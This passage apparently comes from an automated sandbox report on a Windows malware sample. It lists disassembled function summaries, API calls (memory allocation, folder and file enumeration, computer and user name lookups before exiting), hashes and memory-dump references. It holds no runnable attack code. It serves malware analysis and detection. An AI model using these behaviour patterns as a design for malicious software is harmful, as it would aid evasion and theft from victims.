Associated: 00000000.00000002.2418258649.0000000000AA1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2418258649.0000000000AAD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2418258649.0000000000AD2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2418258649.0000000000ADF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2418258649.0000000000AFF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2418258649.0000000000B0B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2418258649.0000000000B0E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2418258649.0000000000B95000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2418258649.0000000000BB5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2418258649.0000000000BBB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2418258649.0000000000C3A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2418983474.0000000000C4E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2418983474.0000000000DCF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2418983474.0000000000EA7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2418983474.0000000000ECC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2418983474.0000000000ED5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2418983474.0000000000EE3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2419261186.0000000000EE4000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2419383184.000000000107A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2419401019.000000000107B000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_9f0000_file.jbxd

Yara matches

Similarity

API ID: lstrcat$Filewsprintf$Find$Path$CloseCopyDeleteFirstFolderMatchNextSpec
String ID:
API String ID: 2104210347-0
Opcode ID: 85678c32f0c0c46d3b42e864c31e41c4fc8ee00f97cbd39f1f004c45ffafcf11
Instruction ID: 3955b1290a2cc24e8c4834136ce5dcaea025c18d99a67df6cb6da677b4c2e8df
Opcode Fuzzy Hash: 85678c32f0c0c46d3b42e864c31e41c4fc8ee00f97cbd39f1f004c45ffafcf11
Instruction Fuzzy Hash: B941A4B6500208ABC794F7A0FC42FFE333DA798700F408558B68A56196ED759BDC8BD2

Function 009F6660 Relevance: 2.6, APIs: 2, Instructions: 95memoryCOMMON

Download Yara Rule

APIs

VirtualAlloc.KERNEL32(?,?,00003000,00000040), ref: 009F6706
VirtualAlloc.KERNEL32(00000000,?,00003000,00000040), ref: 009F6753

Memory Dump Source

Source File: 00000000.00000002.2418258649.00000000009F1000.00000040.00000001.01000000.00000003.sdmp, Offset: 009F0000, based on PE: true

Associated: 00000000.00000002.2418208217.00000000009F0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2418258649.0000000000A4A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2418258649.0000000000A75000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2418258649.0000000000A78000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2418258649.0000000000A7F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2418258649.0000000000A82000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2418258649.0000000000AA1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2418258649.0000000000AAD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2418258649.0000000000AD2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2418258649.0000000000ADF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2418258649.0000000000AFF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2418258649.0000000000B0B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2418258649.0000000000B0E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2418258649.0000000000B95000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2418258649.0000000000BB5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2418258649.0000000000BBB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2418258649.0000000000C3A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2418983474.0000000000C4E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2418983474.0000000000DCF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2418983474.0000000000EA7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2418983474.0000000000ECC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2418983474.0000000000ED5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2418983474.0000000000EE3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2419261186.0000000000EE4000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2419383184.000000000107A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2419401019.000000000107B000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_9f0000_file.jbxd

Yara matches

Similarity

API ID: AllocVirtual
String ID:
API String ID: 4275171209-0
Opcode ID: c58fee2930cd8adda4a7f9ef40b708b74486b47f3ad80c5c2bfea3e085a249a4
Instruction ID: 81f3725de1916eb271198dc6bb958b0ed89abeb2c12ed3e1e866a3906399f055
Opcode Fuzzy Hash: c58fee2930cd8adda4a7f9ef40b708b74486b47f3ad80c5c2bfea3e085a249a4
Instruction Fuzzy Hash: 2C41D574A00209EFCB44CF98C494BADBBB1FF48314F2486A9E9599B345C735EA91CF84

Function 00A05050 Relevance: 2.5, APIs: 2, Instructions: 48stringCOMMON

Download Yara Rule

APIs

Part of subcall function 00A08DE0: SHGetFolderPathA.SHELL32(00000000,0000001C,00000000,00000000,?,?,000003E8), ref: 00A08E0B

lstrcat.KERNEL32(?,00000000), ref: 00A0508A
lstrcat.KERNEL32(?,014DE4D8), ref: 00A050A8

Part of subcall function 00A04910: wsprintfA.USER32 ref: 00A0492C
Part of subcall function 00A04910: FindFirstFileA.KERNEL32(?,?), ref: 00A04943

Memory Dump Source

Source File: 00000000.00000002.2418258649.00000000009F1000.00000040.00000001.01000000.00000003.sdmp, Offset: 009F0000, based on PE: true

Associated: 00000000.00000002.2418208217.00000000009F0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2418258649.0000000000A4A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2418258649.0000000000A75000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2418258649.0000000000A78000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2418258649.0000000000A7F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2418258649.0000000000A82000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2418258649.0000000000AA1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2418258649.0000000000AAD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2418258649.0000000000AD2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2418258649.0000000000ADF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2418258649.0000000000AFF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2418258649.0000000000B0B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2418258649.0000000000B0E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2418258649.0000000000B95000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2418258649.0000000000BB5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2418258649.0000000000BBB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2418258649.0000000000C3A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2418983474.0000000000C4E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2418983474.0000000000DCF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2418983474.0000000000EA7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2418983474.0000000000ECC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2418983474.0000000000ED5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2418983474.0000000000EE3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2419261186.0000000000EE4000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2419383184.000000000107A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2419401019.000000000107B000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_9f0000_file.jbxd

Yara matches

Similarity

API ID: lstrcat$FileFindFirstFolderPathwsprintf
String ID:
API String ID: 2699682494-0
Opcode ID: ef1a7347d5a3930ce7145826affdde018749056a1965349599271d490185d0d1
Instruction ID: c7b1b256c1c3f2c5883d74f88e3dda28c549b451408029d793cac29b2b870f0c
Opcode Fuzzy Hash: ef1a7347d5a3930ce7145826affdde018749056a1965349599271d490185d0d1
Instruction Fuzzy Hash: BE01847691020CA7C754FB70ED42FEE733CAB64340F004554B6CA561D1EEB59AD88BE2

Function 009F10A0 Relevance: 2.5, APIs: 2, Instructions: 41memoryCOMMON

Download Yara Rule

APIs

VirtualAlloc.KERNEL32(00000000,17C841C0,00003000,00000004), ref: 009F10B3
VirtualFree.KERNEL32(00000000,17C841C0,00008000,00000000,05E69EC0), ref: 009F10F7

Memory Dump Source

Source File: 00000000.00000002.2418258649.00000000009F1000.00000040.00000001.01000000.00000003.sdmp, Offset: 009F0000, based on PE: true

Associated: 00000000.00000002.2418208217.00000000009F0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2418258649.0000000000A4A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2418258649.0000000000A75000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2418258649.0000000000A78000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2418258649.0000000000A7F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2418258649.0000000000A82000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2418258649.0000000000AA1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2418258649.0000000000AAD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2418258649.0000000000AD2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2418258649.0000000000ADF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2418258649.0000000000AFF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2418258649.0000000000B0B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2418258649.0000000000B0E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2418258649.0000000000B95000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2418258649.0000000000BB5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2418258649.0000000000BBB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2418258649.0000000000C3A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2418983474.0000000000C4E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2418983474.0000000000DCF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2418983474.0000000000EA7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2418983474.0000000000ECC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2418983474.0000000000ED5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2418983474.0000000000EE3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2419261186.0000000000EE4000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2419383184.000000000107A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2419401019.000000000107B000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_9f0000_file.jbxd

Yara matches

Similarity

API ID: Virtual$AllocFree
String ID:
API String ID: 2087232378-0
Opcode ID: 4f8ec06179dd80d9881e935d0e8e26c9e9b5a7f9c4f38ccc2f36d7447c484d68
Instruction ID: 151790e93b7d9eca9e9a0c3fed8c5c70b9b5964c4d3fb2dcdf3bd1592af5830d
Opcode Fuzzy Hash: 4f8ec06179dd80d9881e935d0e8e26c9e9b5a7f9c4f38ccc2f36d7447c484d68
Instruction Fuzzy Hash: E4F0E271641208BBE7149AA8AC49FBEB7ECE705B15F300848F644E3290D9719E00CBA5

Function 00A08D90 Relevance: 1.5, APIs: 1, Instructions: 24COMMON

Download Yara Rule

APIs

GetFileAttributesA.KERNEL32(00000000,?,009F1B54,?,?,00A1564C,?,?,00A10E1F), ref: 00A08D9F

Memory Dump Source

Source File: 00000000.00000002.2418258649.00000000009F1000.00000040.00000001.01000000.00000003.sdmp, Offset: 009F0000, based on PE: true

Associated: 00000000.00000002.2418208217.00000000009F0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2418258649.0000000000A4A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2418258649.0000000000A75000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2418258649.0000000000A78000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2418258649.0000000000A7F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2418258649.0000000000A82000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2418258649.0000000000AA1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2418258649.0000000000AAD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2418258649.0000000000AD2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2418258649.0000000000ADF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2418258649.0000000000AFF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2418258649.0000000000B0B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2418258649.0000000000B0E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2418258649.0000000000B95000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2418258649.0000000000BB5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2418258649.0000000000BBB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2418258649.0000000000C3A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2418983474.0000000000C4E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2418983474.0000000000DCF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2418983474.0000000000EA7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2418983474.0000000000ECC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2418983474.0000000000ED5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2418983474.0000000000EE3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2419261186.0000000000EE4000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2419383184.000000000107A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2419401019.000000000107B000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_9f0000_file.jbxd

Yara matches

Similarity

API ID: AttributesFile
String ID:
API String ID: 3188754299-0
Opcode ID: d75faf9690329955eeef10d9a16a8d39eaaabf6c23963187d785409524d0f738
Instruction ID: 73cf943ea1dcdfea53d8b324a33ace822d65b79cc0ad5d9b8cb2c5c7fbead700
Opcode Fuzzy Hash: d75faf9690329955eeef10d9a16a8d39eaaabf6c23963187d785409524d0f738
Instruction Fuzzy Hash: 54F0AC70D0020CEBDB04EF94E9456DCBB74EB11310F108299D856672D0DB745A55DB85

Function 00A08DE0 Relevance: 1.5, APIs: 1, Instructions: 23COMMON

Download Yara Rule

APIs

SHGetFolderPathA.SHELL32(00000000,0000001C,00000000,00000000,?,?,000003E8), ref: 00A08E0B

Part of subcall function 00A0A740: lstrcpy.KERNEL32(00A10E17,00000000), ref: 00A0A788

Memory Dump Source

Source File: 00000000.00000002.2418258649.00000000009F1000.00000040.00000001.01000000.00000003.sdmp, Offset: 009F0000, based on PE: true

Associated: 00000000.00000002.2418208217.00000000009F0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2418258649.0000000000A4A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2418258649.0000000000A75000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2418258649.0000000000A78000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2418258649.0000000000A7F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2418258649.0000000000A82000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2418258649.0000000000AA1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2418258649.0000000000AAD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2418258649.0000000000AD2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2418258649.0000000000ADF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2418258649.0000000000AFF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2418258649.0000000000B0B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2418258649.0000000000B0E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2418258649.0000000000B95000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2418258649.0000000000BB5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2418258649.0000000000BBB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2418258649.0000000000C3A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2418983474.0000000000C4E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2418983474.0000000000DCF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2418983474.0000000000EA7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2418983474.0000000000ECC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2418983474.0000000000ED5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2418983474.0000000000EE3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2419261186.0000000000EE4000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2419383184.000000000107A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2419401019.000000000107B000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_9f0000_file.jbxd

Yara matches

Similarity

API ID: FolderPathlstrcpy
String ID:
API String ID: 1699248803-0
Opcode ID: 4d441ccd42de35d67ae583eb81f542110be8c331f7402f079cc79205ace174c7
Instruction ID: 3af9da795b4a5147e8358a2fe273c6df0841b43f8d524683e855aab8e7d80ab4
Opcode Fuzzy Hash: 4d441ccd42de35d67ae583eb81f542110be8c331f7402f079cc79205ace174c7
Instruction Fuzzy Hash: AEE01A31A4034C6BDB91EB94DC96FAE737C9B44B01F004295BA4C9B1C0DE70AB858B92

Function 009F1190 Relevance: 1.5, APIs: 1, Instructions: 22COMMON

Download Yara Rule

APIs

Part of subcall function 00A078E0: GetProcessHeap.KERNEL32(00000000,00000104), ref: 00A07910
Part of subcall function 00A078E0: RtlAllocateHeap.NTDLL(00000000), ref: 00A07917
Part of subcall function 00A078E0: GetComputerNameA.KERNEL32(?,00000104), ref: 00A0792F

Part of subcall function 00A07850: GetProcessHeap.KERNEL32(00000000,00000104,?,?,?,009F11B7), ref: 00A07880
Part of subcall function 00A07850: RtlAllocateHeap.NTDLL(00000000), ref: 00A07887
Part of subcall function 00A07850: GetUserNameA.ADVAPI32(00000104,00000104), ref: 00A0789F

ExitProcess.KERNEL32 ref: 009F11C6

Memory Dump Source

Source File: 00000000.00000002.2418258649.00000000009F1000.00000040.00000001.01000000.00000003.sdmp, Offset: 009F0000, based on PE: true

Associated: 00000000.00000002.2418208217.00000000009F0000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2418258649.0000000000A4A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2418258649.0000000000A75000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2418258649.0000000000A78000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2418258649.0000000000A7F000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2418258649.0000000000A82000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2418258649.0000000000AA1000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2418258649.0000000000AAD000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2418258649.0000000000AD2000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2418258649.0000000000ADF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2418258649.0000000000AFF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2418258649.0000000000B0B000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2418258649.0000000000B0E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2418258649.0000000000B95000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2418258649.0000000000BB5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2418258649.0000000000BBB000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2418258649.0000000000C3A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2418983474.0000000000C4E000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2418983474.0000000000DCF000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2418983474.0000000000EA7000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2418983474.0000000000ECC000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2418983474.0000000000ED5000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2418983474.0000000000EE3000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2419261186.0000000000EE4000.00000080.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2419383184.000000000107A000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2419401019.000000000107B000.00000080.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_9f0000_file.jbxd

Yara matches

Similarity

API ID: Heap$Process$AllocateName$ComputerExitUser
String ID:
API String ID: 3550813701-0
Opcode ID: 902441f6636c00b3b58d3da939cc316dbca32ccf057bcc175a2b1de3d9b02db4
Instruction ID: dd549ac3b8674d51b5422af92032a4ff7c71526f0ce736fcf821551d053f26ff
Opcode Fuzzy Hash: 902441f6636c00b3b58d3da939cc316dbca32ccf057bcc175a2b1de3d9b02db4
Instruction Fuzzy Hash: C4E012B5E2470957CA0077B0BD4BB2E329C5B14385F040424FA45D2582FA29F81486AA

Non-executed Functions

Function 6CAE5440 Relevance: 138.8, APIs: 54, Strings: 25, Instructions: 587threadtimeCOMMON

Download Yara Rule

APIs

getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_VERBOSE_LOGGING), ref: 6CAE5492
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_DEBUG_LOGGING), ref: 6CAE54A8
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_LOGGING), ref: 6CAE54BE
__Init_thread_footer.LIBCMT ref: 6CAE54DB

Part of subcall function 6CB0AB3F: EnterCriticalSection.KERNEL32(6CB5E370,?,?,6CAD3527,6CB5F6CC,?,?,?,?,?,?,?,?,6CAD3284), ref: 6CB0AB49
Part of subcall function 6CB0AB3F: LeaveCriticalSection.KERNEL32(6CB5E370,?,6CAD3527,6CB5F6CC,?,?,?,?,?,?,?,?,6CAD3284,?,?,6CAF56F6), ref: 6CB0AB7C

Part of subcall function 6CB0CBE8: GetCurrentProcess.KERNEL32(?,6CAD31A7), ref: 6CB0CBF1
Part of subcall function 6CB0CBE8: TerminateProcess.KERNEL32(00000000,00000003,?,6CAD31A7), ref: 6CB0CBFA

GetCurrentThreadId.KERNEL32 ref: 6CAE54F9
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_BASE_PROFILER_HELP), ref: 6CAE5516
GetCurrentThreadId.KERNEL32 ref: 6CAE556A
AcquireSRWLockExclusive.KERNEL32(6CB5F4B8), ref: 6CAE5577
moz_xmalloc.MOZGLUE(00000070), ref: 6CAE5585
?ProcessCreation@TimeStamp@mozilla@@SA?AV12@XZ.MOZGLUE(00000000,00000001), ref: 6CAE5590
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_PROFILER_STARTUP,?,00000001), ref: 6CAE55E6
ReleaseSRWLockExclusive.KERNEL32(6CB5F4B8), ref: 6CAE5606
free.API-MS-WIN-CRT-HEAP-L1-1-0(?), ref: 6CAE5616

Part of subcall function 6CB0AB89: EnterCriticalSection.KERNEL32(6CB5E370,?,?,?,6CAD34DE,6CB5F6CC,?,?,?,?,?,?,?,6CAD3284), ref: 6CB0AB94
Part of subcall function 6CB0AB89: LeaveCriticalSection.KERNEL32(6CB5E370,?,6CAD34DE,6CB5F6CC,?,?,?,?,?,?,?,6CAD3284,?,?,6CAF56F6), ref: 6CB0ABD1

GetCurrentThreadId.KERNEL32 ref: 6CAE563E
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0 ref: 6CAE5646
exit.API-MS-WIN-CRT-RUNTIME-L1-1-0(00000000), ref: 6CAE567C
free.MOZGLUE(?), ref: 6CAE56AE

Part of subcall function 6CAF5E90: EnterCriticalSection.KERNEL32(-0000000C), ref: 6CAF5EDB
Part of subcall function 6CAF5E90: memset.VCRUNTIME140(6CB37765,000000E5,55CCCCCC), ref: 6CAF5F27
Part of subcall function 6CAF5E90: LeaveCriticalSection.KERNEL32(?), ref: 6CAF5FB2

getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_PROFILER_STARTUP_NO_BASE), ref: 6CAE56E8
GetCurrentThreadId.KERNEL32 ref: 6CAE5707
_getpid.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,?,00000001), ref: 6CAE570F
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_PROFILER_STARTUP_ENTRIES), ref: 6CAE5729
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_PROFILER_STARTUP_DURATION), ref: 6CAE574E
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_PROFILER_STARTUP_INTERVAL), ref: 6CAE576B
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_PROFILER_STARTUP_FEATURES_BITFIELD), ref: 6CAE5796
getenv.API-MS-WIN-CRT-ENVIRONMENT-L1-1-0(MOZ_PROFILER_STARTUP_FEATURES), ref: 6CAE57B3
